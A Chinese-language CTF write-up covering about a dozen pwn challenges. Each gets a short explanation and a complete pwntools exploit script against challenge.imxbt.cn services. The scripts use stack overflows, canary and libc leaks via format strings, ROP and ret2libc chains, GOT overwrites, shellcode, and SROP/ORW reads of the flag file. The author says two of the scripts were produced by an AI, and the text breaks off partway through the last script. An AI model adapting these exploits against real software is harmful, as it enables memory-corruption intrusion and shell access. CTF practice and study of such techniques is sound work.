文章目录
- Build
- Slime_Smith
- csu?
- ezfmt
- fmt
- func_err
- ret2bzdr
- ret2libc
- sandbox_err
- str_err
- test_your_nc
- type_err
- 总结
Build
看看保护吧。

nx,不能打shellcode。

第一个地方数组下标越界,溢出到*buf。
第二个地方有一个check,有两种方法绕过,第一种输入+,-;第二种用from ctypes import *绕过。
第三个read的参数为全局变量,初值为0,且在read之前会++。

刚开始的时候还给了栈地址,那么我们就可以计算出rbp和ret的地址。
利用思路:
利用数组下标越界覆盖buf为ret,再利用read读入一字节改其为main程序中的某一处。
再次回到main函数,那么我们多循环几次就可使全局变量变得很大。
这样我们就能够栈溢出了。但是我们没有pop rdi; ret;片段,我们就要去找能够替代其的gadget。

找到了。后面就是栈溢出泄露libc打system了。(注意+ret对齐栈帧)
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',31463)
libc=ELF('./libc.so.6')
e=ELF('./pwn')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
xchg_rbx_rdi=0x4011fe
def exp():
ru(b'0x')
rsp=int(p.recv(12),16)
ret=rsp+0xd8
rbp_sub8=ret-0x10
for i in range(17):
sl(b'+')
sn(ret)
for i in range(0x30):
exp()
s(p8(0x64))
ru(b'0x')
rsp=int(p.recv(12),16)
ret=rsp+0xd8
rbp=ret+0xd0
rbp_sub8=ret-0x10
for i in range(17):
sl(b'+')
sn(rbp_sub8)
s(flat(e.got.puts,rbp,xchg_rbx_rdi,e.plt.puts,0x4013F5,0x04012B1))
ru(b'Magic fallen:\n')
libc_base=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-libc.sym.puts
print(hex(libc_base))
system=libc_base+libc.sym.system
sh=libc_base+next(libc.search(b'/bin/sh'))
ru(b'0x')
rsp=int(p.recv(12),16)
ret=rsp+0xd8
rbp=ret+0xd0
rbp_sub8=ret-0x10
for i in range(17):
sl(b'+')
sn(rbp_sub8)
s(flat(sh,rbp,xchg_rbx_rdi,system))
p.interactive()
Slime_Smith
有个后门。


我们把0x404118处指向的函数改成后门,即可shell。
怎么做:
两次输入v1=0,那么read刚好从0x404118开始写,可以覆盖其为后门。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30443)
libc=ELF('./libc.so.6')
e=ELF('./pwn')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
ru(b'> ')
sn(1)
ru(b': ')
sn(0)
ru(b': ')
sn(0)
sl(p64(0x401336))
p.interactive()
csu?
很标准的csu板子,套就行了。


python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',32151)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
ru(b'input something:')
s(b'a'*0x28+flat(0x401272,0,1,1,e.got.write,8,e.got.write,0x401258)+p64(0)*7+p64(0x04011AB))
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym.write
print(hex(libc_base))
system=libc_base+libc.sym.system
sh=libc_base+next(libc.search(b'/bin/sh'))
rdi=libc_base+next(libc.search(asm('pop rdi; ret;')))
s(b'a'*0x28+flat(rdi,sh,rdi+1,system))
p.interactive()
ezfmt



可以溢出到format,格式化字符串漏洞,泄露canary和libc,然后栈溢出即可。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',31905)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
s(b'a'*0x40+b'%19$p%21$p')
ru(b'0x')
canary=int(p.recv(16),16)
ru(b'0x')
libc_base=int(p.recv(12),16)-0x29d90
print(hex(libc_base))
system=libc_base+libc.sym.system
sh=libc_base+next(libc.search(b'/bin/sh'))
rdi=libc_base+next(libc.search(asm('pop rdi; ret;')))
s(b'a'*0x68+p64(canary)+flat(0,rdi,sh,rdi+1,system))
p.interactive()
fmt
方法很多,没有一种是我会的...
喂给ai跑的,思路fmt -> free@got 续命 -> 单轮改 printf@got 到 setcontext -> setcontext + ORW。

python
from pwn import *
import re
DEFAULT_HOST = "challenge.imxbt.cn"
DEFAULT_PORT = 32469
LIBC_RET_OFFSET = 0x29D90
ROUND_DELTA = 0x410
READ_SIZE = 0x50
context.binary = ELF("./pwn", checksec=False)
context.log_level = args.LOG or "info"
elf = context.binary
libc = ELF("./libc.so.6", checksec=False)
rop = ROP(libc)
FREE_GOT = elf.got["free"]
PRINTF_GOT = elf.got["printf"]
VULN = elf.sym["vuln"]
POP_RDI_OFF = rop.find_gadget(["pop rdi", "ret"]).address
POP_RSI_OFF = rop.find_gadget(["pop rsi", "ret"]).address
POP_RDX_R12_OFF = rop.find_gadget(["pop rdx", "pop r12", "ret"]).address
POP_RAX_OFF = rop.find_gadget(["pop rax", "ret"]).address
SYSCALL_OFF = rop.find_gadget(["syscall", "ret"]).address
def start():
if args.REMOTE:
host = args.HOST or DEFAULT_HOST
port = int(args.PORT or DEFAULT_PORT)
return remote(host, port)
return process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./pwn"], stderr=STDOUT)
def stage1_payload():
pad = (VULN & 0xFFFF) - (FREE_GOT & 0xFFFF)
return f"%{FREE_GOT - 6}c%c%c%c%c%c%c%n%{pad % 0x10000}c%hn|%11$p|".encode() + b"\x00"
def stage2_printf_write(target_addr: int, suffix: bytes = b""):
lo = target_addr & 0xFFFF
hi = (target_addr >> 16) & 0xFFFF
count = 0
parts = []
pre = 10
first = (PRINTF_GOT - count - pre) & 0xFFFF
if first == 0:
first = 0x10000
parts.append(f"%{first}c".encode())
parts.append(b"%c" * pre)
parts.append(b"%hn")
count += first + pre
second = (lo - count) & 0xFFFF
if second == 0:
second = 0x10000
parts.append(f"%{second}c".encode())
parts.append(b"%hn")
count += second
pre = 26
third = (PRINTF_GOT + 2 - count - pre)
if third <= 0:
raise ValueError(f"invalid third delta: {third}")
parts.append(f"%{third}c".encode())
parts.append(b"%c" * pre)
parts.append(b"%n")
count += third + pre
pre = 5 if args.REMOTE else 3
fourth = (hi - (count & 0xFFFF) - pre) & 0xFFFF
if fourth == 0:
fourth = 0x10000
parts.append(f"%{fourth}c".encode())
parts.append(b"%c" * pre)
parts.append(b"%hn")
parts.append(suffix)
parts.append(b"\x00")
return b"".join(parts)
def recv_libc_leak(io):
blob = io.recvuntil(b"|", drop=False)
blob += io.recvuntil(b"|", drop=False)
match = re.search(rb"\|(0x[0-9a-fA-F]+)\|", blob)
if not match:
raise ValueError(f"failed to parse libc leak from {blob[-200:]!r}")
return int(match.group(1), 16)
def recv_heap_leak(io):
blob = b""
try:
blob += io.recvuntil(b"|", timeout=5)
blob += io.recvuntil(b"|", timeout=5)
except EOFError:
blob += io.recvrepeat(0.5)
match = re.search(rb"\|(0x[0-9a-fA-F]+)\|", blob)
if not match:
raise ValueError(f"failed to parse heap leak from {blob[-200:]!r}")
return int(match.group(1), 16)
def put64(buf, off, val):
buf[off:off + 8] = p64(val)
def put32(buf, off, val):
buf[off:off + 4] = p32(val)
def candidate_paths():
if args.PATHS:
paths = [x.encode() for x in str(args.PATHS).split(",") if x]
elif args.PATH:
paths = [str(args.PATH).encode()]
else:
paths = [b"/flag", b"./flag", b"flag"]
default_paths = [b"/flag", b"./flag", b"flag"]
while len(paths) < 3:
paths.append(default_paths[len(paths)])
return paths[:3]
def build_orw_payload(buf_addr: int, paths):
pop_rdi = libc.address + POP_RDI_OFF
pop_rsi = libc.address + POP_RSI_OFF
pop_rdx_r12 = libc.address + POP_RDX_R12_OFF
pop_rax = libc.address + POP_RAX_OFF
syscall = libc.address + SYSCALL_OFF
data = bytearray(b"\x00" * 0x3FF)
env_addr = buf_addr + 0x140
stack_addr = buf_addr + 0x1F0
path1_addr = buf_addr + 0x380
path2_addr = buf_addr + 0x388
path3_addr = buf_addr + 0x390
read_buf = buf_addr + 0x3A0
put64(data, 0xE0, env_addr)
put32(data, 0x1C0, 0x1F80)
put64(data, 0xA0, stack_addr)
put64(data, 0xA8, pop_rax)
chain = []
def open_path(addr, first=False):
seq = [2, pop_rdi, addr, pop_rsi, 0, pop_rdx_r12, 0, 0, syscall]
if not first:
seq = [pop_rax] + seq
chain.extend(seq)
open_path(path1_addr, first=True)
open_path(path2_addr)
open_path(path3_addr)
chain.extend([
pop_rax, 0,
pop_rdi, 3,
pop_rsi, read_buf,
pop_rdx_r12, READ_SIZE, 0,
syscall,
pop_rax, 1,
pop_rdi, 1,
pop_rsi, read_buf,
pop_rdx_r12, READ_SIZE, 0,
syscall,
libc.sym["exit"],
])
for i, qword in enumerate(chain):
put64(data, 0x1F0 + i * 8, qword)
for addr, raw in zip((0x380, 0x388, 0x390), paths):
data[addr:addr + len(raw) + 1] = raw + b"\x00"
return bytes(data)
def exploit(io):
io.send(stage1_payload())
libc_leak = recv_libc_leak(io)
libc.address = libc_leak - LIBC_RET_OFFSET
log.info(f"libc base: {hex(libc.address)}")
io.send(stage2_printf_write(libc.sym["setcontext"], b"|%1$p|"))
heap_round2 = recv_heap_leak(io)
final_buf = heap_round2 + ROUND_DELTA
log.info(f"final heap chunk: {hex(final_buf)}")
payload = build_orw_payload(final_buf, candidate_paths())
io.send(payload)
return io.recvrepeat(2)
def probe_round2(io):
io.send(stage1_payload())
libc_leak = recv_libc_leak(io)
libc.address = libc_leak - LIBC_RET_OFFSET
log.info(f"libc base: {hex(libc.address)}")
probe = b"".join(f"|{i}=%{i}$p".encode() for i in range(1, 61)) + b"|\x00"
io.send(probe)
return io.recvrepeat(1)
def probe_write_slot(io, slot: int):
io.send(stage1_payload())
libc_leak = recv_libc_leak(io)
libc.address = libc_leak - LIBC_RET_OFFSET
log.info(f"libc base: {hex(libc.address)}")
target = 0x404080
plain = slot - 2
tail_count = 8
delta = target - plain
probe = f"%{delta}c".encode() + (b"%c" * plain) + b"%n|" + (b"|".join([b"%p"] * tail_count)) + b"|\x00"
io.send(probe)
return repr(io.recvrepeat(1)[-600:]).encode()
def clean_output(blob: bytes):
blob = blob.split(b"\x00", 1)[0]
return blob.strip(b"\r\n")
def main():
io = start()
try:
if args.PTR:
out = probe_write_slot(io, int(args.PTR))
else:
out = probe_round2(io) if args.PROBE else exploit(io)
print(clean_output(out).decode("latin-1", "replace"))
finally:
io.close()
if __name__ == "__main__":
main()
还有一种方法:
先把free的got表改成vuln函数地址就可以实现一直返回vuln,这里因为没有leave所以栈上的情况是没什么大变化的,我们改出来两个printf的got表,最后一个改低地址一个改高地址把printf改成system函数,最后输入binsh字符串即可getshell。
python
from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
li='./libc.so.6'
flag =1
if flag:
p = remote('challenge.imxbt.cn',32469)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
#context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
vuln=0x4011b6
printf=0x404020
free=0x404018
pay=b'%p'*6+b'%'+str(free-0x3d+5).encode()+b'c%ln'
pay+=b'%'+str(vuln+0x1000000-free).encode()+b'c%hn'
pay+=b'b'*3+b'%8$p.%11$p.k'
sd(pay)
ru(b'b'*3)
st,libcbase,c=ru(b'k').decode().strip().split('.')
st=i6(st)-0x8
libcbase=i6(libcbase)-0x29d90
system=libcbase+libc.sym['system']
ph(st)
ph(libcbase)
pay=b'%'+str(printf&0xff).encode()+b'c%12$hhn'
pay+=b'%'+str(st&0xff).encode()+b'c%8$hhn'
sd(pay)
pay=b'%'+str(printf+2).encode()+b'c%16$ln'
sd(pay)
sleep(0.1)
ph(system)
pay=b'%'+str((system>>16)&0xff).encode()+b'c%25$hhn'
pay+=b'%'+str((system&0xffff)-((system>>16)&0xff)).encode()+b'c%22$hn'
sd(pay)
sd(b'/bin/sh\x00')
ti()
func_err
看看保护:

没开nx,首当其冲shellcode。


栈溢出刚好只能覆盖ret,但给了栈地址,那么就可以写shellcode到栈上,然后ret即可。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',31126)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
ru(b'0x')
rsp=int(p.recv(12),16)-0x20+4
shell=asm('''
xor rdx, rdx
xor rsi, rsi
mov rbx,0x0068732F6E69622F
push rbx
push rsp
pop rdi
mov al,59
syscall
''')
print(hex(len(shell)))
py=shell.ljust(0x28,b'a')+p64(rsp)
s(py)
p.interactive()
ret2bzdr

先泄露canany,再栈溢出到后门。



没过滤sh,那么就好办了。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',31844)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
sl(b'%23$p')
ru(b'0x')
canary=int(p.recv(16),16)
py=b'a'*0x88+p64(canary)+b'a'*8+p64(0x40101a)+p64(0x04013AD)
sl(py)
sla(b"OH,NO!!!HACKER!!!DON'T COME!!!\n",b'sh')
p.interactive()
ret2libc
ez-ret2libc
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30569)
e=ELF('./attachment')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
rdi=0x0000000004011E7
ru(b'Please input your message: ')
sl(b'a'*0x48+p64(rdi)+p64(e.got.puts)+p64(e.plt.puts)+p64(0x04011F0))
p.recvline()
libc_base=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-libc.sym.puts
print(hex(libc_base))
system=libc.sym['system']+libc_base
sh=next(libc.search(b'/bin/sh'))+libc_base
sl(b'a'*0x48+p64(rdi)+p64(sh)+p64(rdi+1)+p64(system))
p.interactive()
sandbox_err
看看保护和沙箱:


正常的orw即可。

1可以泄露栈地址。

2可以栈溢出。

3格式化字符串漏洞,泄露pie和libc_base。
正常来说泄露libc,orw即可,但是我们找不到pop rdx; ret。
那么我们可以借助orw和srop绕过。
还有一个思路虽然没有pop rdx; ret;但是有pop rdx; leave ret;我们又可以泄露栈地址,可以控制栈帧,那么就可以正常orw。但是我没打通,大家可以try try。

csu:
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30162)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
ru(b'Make your choice : \n')
sn(3)
ru(b'I believe in miracles.\n')
sl(b'%11$p%17$p%10$p')
ru(b'0x')
pie=int(p.recv(12),16)-0x555555555485+0x555555554000
print(hex(pie))
ru(b'0x')
libc_base=int(p.recv(12),16)-0x7ffff7c2a1ca+0x7ffff7c00000
print(hex(libc_base))
ru(b'0x')
rbp=int(p.recv(12),16)-0x20
print(hex(rbp))
sn(2)
ru(b'You chose getshell!\n')
rax=libc_base+0x00000000000dd237
rdi=libc_base+0x000000000010f78b
rsi=libc_base+0x0000000000110a7d
rdx_leave_ret=libc_base+0x00000000000981ad
open=libc_base+libc.sym.open
read_got=pie+e.got.read;read=libc_base+libc.sym.read
write=libc_base+libc.sym.write
mprotect=libc_base+libc.sym.mprotect
addr=e.bss()+pie
def csu(rdi,rsi,rdx,got):
py=flat(0,0,1,rdi,rsi,rdx,got)
return py
csu1=0x16A6+pie;csu2=0x1690+pie
flag=addr
py=b'a'*0x68+p64(csu1)+csu(0,addr,0x100,read_got)+p64(csu2)+csu(addr,0,0,addr+8)+flat(rdi,flag,rsi,0,open)
py+=p64(csu1)+csu(6,addr+0x100,0x100,addr+0x10)+p64(csu2)+csu(1,addr+0x100,0x100,addr+0x18)+p64(csu2)
s(py)
py=b'./flag\x00\x00'+flat(open,read,write)
s(py)
p.interactive()
srop:系统调用orw。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30162)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
ru(b'Make your choice : \n')
sn(3)
ru(b'I believe in miracles.\n')
sl(b'%11$p%17$p%10$p')
ru(b'0x')
pie=int(p.recv(12),16)-0x555555555485+0x555555554000
print(hex(pie))
ru(b'0x')
libc_base=int(p.recv(12),16)-0x7ffff7c2a1ca+0x7ffff7c00000
print(hex(libc_base))
ru(b'0x')
rbp=int(p.recv(12),16)-0x20
print(hex(rbp))
sn(2)
ru(b'You chose getshell!\n')
rax=libc_base+0x00000000000dd237
rdi=libc_base+0x000000000010f78b
rsi=libc_base+0x0000000000110a7d
rdx_leave_ret=libc_base+0x00000000000981ad
syscall=libc_base+0x0000000000098fb6
bss=e.bss()+pie
sig=SigreturnFrame()
sig.rax=0
sig.rdi=0
sig.rsi=bss
sig.rdx=0x1000
sig.rsp=bss+8
sig.rip=syscall
s(b'a'*0x68+flat(rax,0xf,syscall)+bytes(sig))
sig1=SigreturnFrame()
sig1.rax=2
sig1.rdi=bss
sig1.rsi=0
sig1.rdx=0
sig1.rsp=bss+0x20+0xf8
sig1.rip=syscall
sig2=SigreturnFrame()
sig2.rax=0
sig2.rdi=6
sig2.rsi=bss
sig2.rdx=0x100
sig2.rsp=bss+0x20+0xf8+0x18+0xf8
sig2.rip=syscall
sig3=SigreturnFrame()
sig3.rax=1
sig3.rdi=1
sig3.rsi=bss
sig3.rdx=0x100
sig3.rip=syscall
sleep(0.2)
s(b'./flag\x00\x00'+flat(rax,0xf,syscall)+bytes(sig1)+flat(rax,0xf,syscall)+bytes(sig2)+flat(rax,0xf,syscall)+bytes(sig3))
p.interactive()
srop:mprotect函数+shellcode。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30162)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
ru(b'Make your choice : \n')
sn(3)
ru(b'I believe in miracles.\n')
sl(b'%11$p%17$p%10$p')
ru(b'0x')
pie=int(p.recv(12),16)-0x555555555485+0x555555554000
print(hex(pie))
ru(b'0x')
libc_base=int(p.recv(12),16)-0x7ffff7c2a1ca+0x7ffff7c00000
print(hex(libc_base))
ru(b'0x')
rbp=int(p.recv(12),16)-0x20
print(hex(rbp))
sn(2)
ru(b'You chose getshell!\n')
rax=libc_base+0x00000000000dd237
rdi=libc_base+0x000000000010f78b
rsi=libc_base+0x0000000000110a7d
rdx_leave_ret=libc_base+0x00000000000981ad
syscall=libc_base+0x0000000000098fb6
bss=e.bss()+pie
sig=SigreturnFrame()
sig.rax=0
sig.rdi=0
sig.rsi=bss
sig.rdx=0x1000
sig.rsp=bss
sig.rip=syscall
s(b'a'*0x68+flat(rax,0xf,syscall)+bytes(sig))
sig1=SigreturnFrame()
sig1.rax=constants.SYS_mprotect
sig1.rdi=0x4000+pie
sig1.rsi=0x2000
sig1.rdx=7
sig1.rsp=bss+0x18+0xf8
sig1.rip=syscall
sig2=SigreturnFrame()
sig2.rip=bss+0x18+0xf8+0x18+0xf8
sig2.rsp=bss
shellcode = shellcraft.open('./flag\x00\x00')
shellcode += shellcraft.read(6,bss + 0x300,0x100)
shellcode += shellcraft.write(1,bss + 0x300,0x100)
shellcode = asm(shellcode)
sleep(0.2)
s(flat(rax,0xf,syscall)+bytes(sig1)+flat(rax,0xf,syscall)+bytes(sig2)+shellcode)
p.interactive()
str_err

绕过检查,改ret为后门即可。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30203)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
ru(b'Please input your username: \n')
s(b'zbz')
ru(b'Please input your password: \n')
s(b'Secret\x00'.ljust(0x68,b'\x00')+p64(0x0401263))
p.interactive()
test_your_nc
喂给ai让他跑个脚本。
python
from pwn import *
import re
# 连接远程服务器
r = remote('challenge.imxbt.cn',31259)
context.log_level = 'debug'
class UniversalBaseSolver:
def __init__(self):
self.base_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+-*/"
def convert_from_base(self, num_str, base):
"""将指定进制的字符串转换为十进制整数"""
if base < 1 or base > 40:
log.warning(f"Base {base} out of range 1-40")
return None
try:
if base == 1:
return len(num_str)
else:
# 对于所有进制,统一处理大小写
num_str_upper = num_str.upper()
log.info(f"Converting '{num_str}' (-> '{num_str_upper}') from base {base}")
if base <= 36:
result = int(num_str_upper, base)
log.info(f"Conversion result: {result}")
return result
else:
char_map = {char: idx for idx, char in enumerate(self.base_chars[:base])}
result = 0
for char in num_str_upper:
if char not in char_map:
log.warning(f"Invalid character '{char}' for base {base}")
return None
result = result * base + char_map[char]
log.info(f"Conversion result: {result}")
return result
except Exception as e:
log.warning(f"Conversion error: {e} for '{num_str}' in base {base}")
return None
def convert_to_base(self, num, base):
"""将十进制整数转换为指定进制字符串"""
if base < 1 or base > 40:
log.warning(f"Base {base} out of range 1-40")
return str(num)
try:
num = int(num)
log.info(f"Converting {num} to base {base}")
if base == 1:
if num < 0:
return '-' + '1' * (-num)
return '1' * num
is_negative = num < 0
n = abs(num)
if n == 0:
result = '0'
log.info(f"Result: {result}")
return result
digits = []
if base <= 36:
while n > 0:
n, remainder = divmod(n, base)
if remainder < 10:
digits.append(str(remainder))
else:
digits.append(chr(ord('A') + remainder - 10))
result = ''.join(reversed(digits))
else:
alphabet = self.base_chars[:base]
while n > 0:
n, remainder = divmod(n, base)
digits.append(alphabet[remainder])
result = ''.join(reversed(digits))
if is_negative:
result = '-' + result
log.info(f"Conversion result: {result}")
return result
except Exception as e:
log.warning(f"Base conversion error: {e}")
return str(num)
def detect_base(self, base_str):
"""检测并解析进制描述"""
base_str = base_str.lower().strip()
base_map = {
'1': 1, 'unary': 1, 'base1': 1,
'2': 2, 'binary': 2, 'bin': 2, 'base2': 2,
'3': 3, 'ternary': 3, 'base3': 3,
'4': 4, 'quaternary': 4, 'base4': 4,
'5': 5, 'quinary': 5, 'base5': 5,
'6': 6, 'senary': 6, 'base6': 6,
'7': 7, 'septenary': 7, 'base7': 7,
'8': 8, 'octal': 8, 'oct': 8, 'base8': 8,
'9': 9, 'nonary': 9, 'base9': 9,
'10': 10, 'decimal': 10, 'dec': 10, 'base10': 10,
'11': 11, 'undecimal': 11, 'base11': 11,
'12': 12, 'duodecimal': 12, 'base12': 12,
'13': 13, 'tridecimal': 13, 'base13': 13,
'14': 14, 'tetradecimal': 14, 'base14': 14,
'15': 15, 'pentadecimal': 15, 'base15': 15,
'16': 16, 'hexadecimal': 16, 'hex': 16, 'base16': 16,
'17': 17, 'base17': 17, '18': 18, 'base18': 18, '19': 19, 'base19': 19,
'20': 20, 'base20': 20, '21': 21, 'base21': 21, '22': 22, 'base22': 22,
'23': 23, 'base23': 23, '24': 24, 'base24': 24, '25': 25, 'base25': 25,
'26': 26, 'base26': 26, '27': 27, 'base27': 27, '28': 28, 'base28': 28,
'29': 29, 'base29': 29, '30': 30, 'base30': 30, '31': 31, 'base31': 31,
'32': 32, 'duotrigesimal': 32, 'base32': 32, '33': 33, 'base33': 33,
'34': 34, 'base34': 34, '35': 35, 'base35': 35, '36': 36, 'hexatrigesimal': 36, 'base36': 36,
'37': 37, 'base37': 37, '38': 38, 'base38': 38, '39': 39, 'base39': 39,
'40': 40, 'base40': 40
}
if base_str in base_map:
result = base_map[base_str]
log.info(f"Base detection: '{base_str}' -> {result}")
return result
try:
base_num = int(base_str)
if 1 <= base_num <= 40:
log.info(f"Base detection: '{base_str}' -> {base_num}")
return base_num
except:
pass
log.warning(f"Unknown base: {base_str}, defaulting to 10")
return 10
def extract_expression(self, question_text):
"""提取表达式中的数字和运算符"""
log.info(f"Extracting expression from: {question_text}")
patterns = [
r'\[[0-9]+\]\s*\(base\s+\w+\)\s*([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)\s*=',
r'\(base\s+\w+\)\s*([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)',
r'([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)\s*=\s*\?',
]
for i, pattern in enumerate(patterns):
match = re.search(pattern, question_text)
if match:
num1, op, num2 = match.groups()
log.info(f"Pattern {i} matched: {num1} {op} {num2}")
return num1.strip(), op.strip(), num2.strip()
log.warning("No pattern matched for expression extraction")
return None, None, None
def solve_question(self, question_text):
"""主解题函数"""
log.info(f"Solving question: {question_text}")
# 提取进制信息
base_match = re.search(r'\(base\s+(\w+)\)', question_text)
if not base_match:
log.warning("Cannot find base specification with pattern 1")
base_match = re.search(r'base\s*(\w+)', question_text)
if not base_match:
log.warning("Cannot find base specification")
return None
base_str = base_match.group(1)
base = self.detect_base(base_str)
# 提取数字和运算符
num1, op, num2 = self.extract_expression(question_text)
if not all([num1, op, num2]):
log.warning("Failed to extract expression")
return None
# 转换数字
a = self.convert_from_base(num1, base)
b = self.convert_from_base(num2, base)
if a is None or b is None:
log.warning("Number conversion failed")
return None
# 执行运算
if op == '+':
result = a + b
elif op == '*':
result = a * b
elif op == '-':
result = a - b
elif op == '/':
if b == 0:
log.warning("Division by zero")
return None
result = a // b
elif op == '%':
if b == 0:
log.warning("Modulo by zero")
return None
result = a % b
else:
log.warning(f"Unsupported operator: {op}")
return None
# 转换回原进制
answer = self.convert_to_base(result, base)
# 验证转换
if answer:
verify = self.convert_from_base(answer, base)
if verify != result:
log.warning(f"Verification failed: {answer} -> {verify} != {result}")
# 尝试小写
verify_lower = self.convert_from_base(answer.lower(), base)
if verify_lower == result:
log.info("Using lowercase version for verification")
return answer.lower()
return answer
# 创建求解器
solver = UniversalBaseSolver()
# 主循环
try:
question_count = 0
while True:
# 先接收直到看到题目开始
initial = r.recvuntil(b'[', timeout=5)
# 然后接收完整的题目行
data_line = r.recvuntil(b'?', timeout=5).decode(errors='ignore')
data = '[' + data_line
question_count += 1
print(f"\n{'=' * 60}")
print(f"Question #{question_count}:")
print(data)
if any(flag in data for flag in ['PCTF{', 'flag{', 'FLAG{', 'ctf{', 'CTF{']):
print("🎉 FLAG FOUND! 🎉")
print(data)
try:
more_data = r.recvall(timeout=2)
if more_data:
print(more_data.decode(errors='ignore'))
except:
pass
break
answer = solver.solve_question(data)
if answer:
print(f"✅ Sending answer: {answer}")
r.sendline(answer.encode())
else:
log.error("❌ Failed to solve, sending '0'")
r.sendline(b'0')
try:
response = r.recvline(timeout=3).decode(errors='ignore')
print(f"Response: {response.strip()}")
if "incorrect" in response.lower() or "invalid" in response.lower():
log.error("Last answer was incorrect!")
# 重新计算并显示详细信息
log.info("=== DEBUG INFO ===")
log.info(f"Question: {data}")
log.info(f"Our answer: {answer}")
# 手动验证
